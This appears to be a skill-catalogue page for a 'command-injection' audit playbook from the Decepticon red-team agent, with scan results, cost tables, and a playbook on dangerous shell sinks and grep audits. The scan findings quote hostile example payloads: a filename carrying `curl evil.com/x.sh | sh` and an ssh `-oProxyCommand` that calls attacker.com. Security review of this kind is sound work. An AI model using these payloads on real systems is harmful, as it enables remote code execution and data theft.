Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add PurpleAILAB/Decepticon --skill command-injectiongit clone --depth 1 https://github.com/PurpleAILAB/DecepticonWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/purpleailab/decepticon/command-injection)<a href="https://agentmods.dev/skills/purpleailab/decepticon/command-injection"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/command-injection/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/purpleailab/decepticon/command-injection"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/command-injection.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 3 findings, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high Tool Misuse · line 19 Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).Fix: Validate all tool parameters against an allowlist. Reject dangerous parameter values (shell=True, --force, -rf /) and use safe defaults.
- high Tool Misuse · line 19 Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).Fix: Validate all tool parameters against an allowlist. Reject dangerous parameter values (shell=True, --force, -rf /) and use safe defaults.
- high Supply Chain · line 61 Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.Fix: Avoid downloading and executing remote scripts. Use trusted packages from PyPI/npm. If remote fetch is required, verify checksums and use HTTPS.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00044 | $0.01289 |
| Opus 5 | $0.00022 | $0.00645 |
| Sonnet 5 | $0.00009 | $0.00258 |
| Haiku 4.5 | $0.00004 | $0.00129 |
Grade B, and why
command-injection scanned grade B with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 5d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Downloads and executes remote codemediumSupply chain
curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.
- **Command substitution in filename** — `$(curl evil.com/x.sh | sh).jpg` Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
- **Argument injection** (the -oProxyCommand trick) — passing `-oProxyCommand=curl $(whoami).attacker.com` to ssh-based sinks Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
| Python | `os.system`, `subprocess.Popen(..., shell=True)`, `os.popen`, `commands.getoutput` | `subprocess.run([...], shell=False)` | Copies of this mod
1 near-identical copy found in the catalogue:
- command-injection-analysis — 95% identical, 5 lines differ
How it starts
The opening of the file, as written. The whole thing — 103 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Command Injection Playbook
If SQL injection is the king of web vulns, command injection is the king of DevOps vulns. Every image-processing upload, PDF generator, ffmpeg wrapper, and "run a script" feature is a candidate.
1. Sinks
| Language | Dangerous | Safer |
|---|---|---|
| Python | os.system, subprocess.Popen(..., shell=True), os.popen, commands.getoutput |
subprocess.run([...], shell=False) |
| Node | child_process.exec, execSync |
child_process.execFile, spawn (array args) |
| Go | exec.Command("sh","-c",user) |
exec.Command(bin, arg1, arg2) with array |
| Java | Runtime.exec(String) |
Runtime.exec(String[]), ProcessBuilder([...]) |
| Ruby | backticks, system(str), %x{...} |
Kernel.system(bin, *args), Open3.capture2e |
| PHP | shell_exec, exec, system, backticks, passthru |
escapeshellarg + explicit execve |
Even the "safer" APIs are exploitable if the binary path is user
controlled (exec.Command(userBin, "--version")).
2. Non-obvious sinks
- Template engines rendering shell: Ansible playbooks, systemd unit files, crontab strings
- Docker-compose / k8s manifests where
command:is built from user input - PDF libraries that shell out to
pdflatex,wkhtmltopdf,puppeteer - ImageMagick —
convert user.jpg out.pngwhereuser.jpgis attacker-chosen (classic ImageTragick) - ffmpeg
-iwith user-provided URL/file (SSRF + RCE combo) - Git clone with user-supplied URL (remote helper injection)
- SSH/Rsync wrappers building
ssh user@host "cmd"from templates - ZIP extractors passing archive path to
unzipbinary
3. Audit workflow
# Level 1: obvious sinks
grep -rE 'os\.system\(|subprocess.*shell\s*=\s*True|exec\s*\(' /workspace/src
grep -rE 'Runtime\.exec\(|ProcessBuilder\([^[]' /workspace/src
grep -rE 'child_process\.(exec|execSync)\(' /workspace/src
# Level 2: shell metacharacters in strings
grep -rE '"[^"]*\$\{[a-z]+\}.*(-[a-z]|[;|&])"' /workspace/src
# Level 3: template strings
grep -rE 'ffmpeg|pdflatex|wkhtmltopdf|convert|pandoc' /workspace/src
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 5d ago First seen · 103 lines · 44 tokens per session scan B 02c114824033
command-injection is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,463 stars, last pushed 9d ago), licensed Apache-2.0. It adds 44 tokens to every session and 1,289 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it B with 3 findings (downloads and executes remote code, makes network calls, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
interactive-dashboard
Interactive web dashboards: stock trackers, sector heatmaps, portfolio monitors — served via preview URL.
onboarding
First-time user onboarding to set up investment profile, watchlists, portfolio, and preferences.
idea-generation
Stock screening and idea generation: quantitative screens, thematic analysis, shortlist.
secretary
Workspace and research management — dispatch analyses, monitor running agents, manage workspaces and threads.
python-lib-analyzer
Analyze any Python library structure, explore modules, classes, and functions with signatures and documentation.
analyzing-windows-prefetch-with-python
Use when parse Windows Prefetch files using the windowsprefetch Python library to reconstruct application execution history, detect renamed or masquerading binaries, and identify suspicious program execution patterns. Use when working with analyzing windows prefetch with python.